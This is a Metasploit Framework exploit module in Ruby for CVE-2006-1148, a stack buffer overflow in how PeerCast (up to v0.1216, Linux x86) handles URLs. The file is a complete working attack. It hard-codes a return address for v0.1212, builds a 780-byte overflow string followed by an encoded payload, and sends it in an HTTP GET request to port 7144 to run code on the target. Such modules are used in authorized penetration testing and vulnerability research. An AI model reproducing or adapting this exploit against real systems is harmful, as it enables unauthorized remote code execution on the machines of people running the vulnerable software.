##
# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
'Description' => %q{
This module exploits a stack buffer overflow in PeerCast <= v0.1216.
The vulnerability is caused due to a boundary error within the
handling of URL parameters.
},
'Author' => [ 'MC' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-1148'],
['OSVDB', '23777'],
['BID', '17040'],
['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
'MinNops' => 64,
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
],
'DisclosureDate' => 'Mar 8 2006'))
register_options([
Opt::RPORT(7144)
], self.class)
end
def exploit
connect
pat = rand_text_alphanumeric(780)
pat << [target.ret].pack('V')
pat << payload.encoded
uri = '/stream/?' + pat
res = "GET #{uri} HTTP/1.0\r\n\r\n"
print_status("Trying target address 0x%.8x..." % target.ret)
sock.put(res)
handler
disconnect
end
end